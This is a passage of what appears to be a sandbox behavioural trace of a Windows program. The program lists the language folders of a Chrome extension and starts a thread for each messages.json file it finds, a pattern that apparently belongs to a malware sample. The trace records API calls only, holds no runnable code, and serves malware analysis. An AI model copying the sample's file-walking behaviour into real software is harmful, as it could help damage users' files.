Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\" [0186.334] wcscat (in: _Dest=0x12d46e50, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" [0188.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12d46e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00 [0188.525] FindNextFileW (in: hFindFile=0x93b738, lpFindFileData=0x9a2460 | out: lpFindFileData=0x9a2460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.525] FindClose (in: hFindFile=0x93b738 | out: hFindFile=0x93b738) returned 1 [0188.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a2460) returned 1 [0188.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abae8) returned 1 [0188.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b50d0) returned 1 Thread: id = 7830 os_tid = 0x1820 [0184.976] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9abd38 [0184.977] wcscpy (in: _Dest=0x9abd38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se" [0184.977] wcscat (in: _Dest=0x9abd38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\" [0184.977] wcscat (in: _Dest=0x9abd38, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*" [0184.977] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9a26c8 [0184.977] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*", lpFindFileData=0x9a26c8 | out: lpFindFileData=0x9a26c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ae38 [0186.334] wcscmp (_String1=".", _String2=".") returned 0 [0186.334] FindNextFileW (in: hFindFile=0x93ae38, lpFindFileData=0x9a26c8 | out: lpFindFileData=0x9a26c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.334] wcscmp (_String1="..", _String2=".") returned 1 [0186.334] wcscmp (_String1="..", _String2="..") returned 0 [0186.334] FindNextFileW (in: hFindFile=0x93ae38, lpFindFileData=0x9a26c8 | out: lpFindFileData=0x9a26c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.334] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.334] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.334] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x12d46f88 [0186.334] wcscpy (in: _Dest=0x12d46f88, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se" [0186.334] wcscat (in: _Dest=0x12d46f88, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\" [0186.334] wcscat (in: _Dest=0x12d46f88, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" [0188.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12d46f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1378 [0188.527] FindNextFileW (in: hFindFile=0x93ae38, lpFindFileData=0x9a26c8 | out: lpFindFileData=0x9a26c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.527] FindClose (in: hFindFile=0x93ae38 | out: hFindFile=0x93ae38) returned 1 [0188.527] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a26c8) returned 1 [0188.527] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abd38) returned 1 [0188.527] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b51f8) returned 1 Thread: id = 7831 os_tid = 0x1824 [0184.977] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9abc10 [0184.977] wcscpy (in: _Dest=0x9abc10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk" [0184.977] wcscat (in: _Dest=0x9abc10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\" [0184.977] wcscat (in: _Dest=0x9abc10, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*" [0184.977] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9a2930 [0184.977] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*", lpFindFileData=0x9a2930 | out: lpFindFileData=0x9a2930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b038 [0186.335] wcscmp (_String1=".", _String2=".") returned 0 [0186.335] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x9a2930 | out: lpFindFileData=0x9a2930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.335] wcscmp (_String1="..", _String2=".") returned 1 [0186.335] wcscmp (_String1="..", _String2="..") returned 0 [0186.335] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x9a2930 | out: lpFindFileData=0x9a2930*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.335] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.335] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.335] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x12d470c0 [0186.335] wcscpy (in: _Dest=0x12d470c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk" [0186.335] wcscat (in: _Dest=0x12d470c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\" [0186.335] wcscat (in: _Dest=0x12d470c0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" [0188.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12d470c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1868 [0188.528] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x9a2930 | out: lpFindFileData=0x9a2930*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.529] FindClose (in: hFindFile=0x93b038 | out: hFindFile=0x93b038) returned 1 [0188.529] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a2930) returned 1 [0188.529] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abc10) returned 1 [0188.529] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5320) returned 1 Thread: id = 7832 os_tid = 0x1828 [0184.978] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9aaf58 [0184.978] wcscpy (in: _Dest=0x9aaf58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl" [0184.978] wcscat (in: _Dest=0x9aaf58, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\" [0184.978] wcscat (in: _Dest=0x9aaf58, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*" [0184.978] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9113b8 [0184.978] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*", lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b938 [0186.335] wcscmp (_String1=".", _String2=".") returned 0 [0186.335] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.335] wcscmp (_String1="..", _String2=".") returned 1 [0186.335] wcscmp (_String1="..", _String2="..") returned 0 [0186.335] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.336] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.336] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.336] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x12d471f8 [0186.336] wcscpy (in: _Dest=0x12d471f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl" [0186.336] wcscat (in: _Dest=0x12d471f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\" [0186.336] wcscat (in: _Dest=0x12d471f8, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" [0188.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12d471f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd4 [0188.530] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x9113b8 | out: lpFindFileData=0x9113b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.530] FindClose (in: hFindFile=0x93b938 | out: hFindFile=0x93b938) returned 1 [0188.531] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9113b8) returned 1 [0188.531] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aaf58) returned 1 [0188.531] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b40a0) returned 1 Thread: id = 7833 os_tid = 0x182c [0184.985] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9ac7a0 [0184.986] wcscpy (in: _Dest=0x9ac7a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr" [0184.986] wcscat (in: _Dest=0x9ac7a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\" [0184.986] wcscat (in: _Dest=0x9ac7a0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*" [0184.986] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912228 [0184.986] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*", lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b6f8 [0186.336] wcscmp (_String1=".", _String2=".") returned 0 [0186.336] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.336] wcscmp (_String1="..", _String2=".") returned 1 [0186.336] wcscmp (_String1="..", _String2="..") returned 0 [0186.336] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0186.336] wcscmp (_String1="messages.json", _String2=".") returned 1 [0186.336] wcscmp (_String1="messages.json", _String2="..") returned 1 [0186.336] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x12d47330 [0186.336] wcscpy (in: _Dest=0x12d47330, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr" [0186.336] wcscat 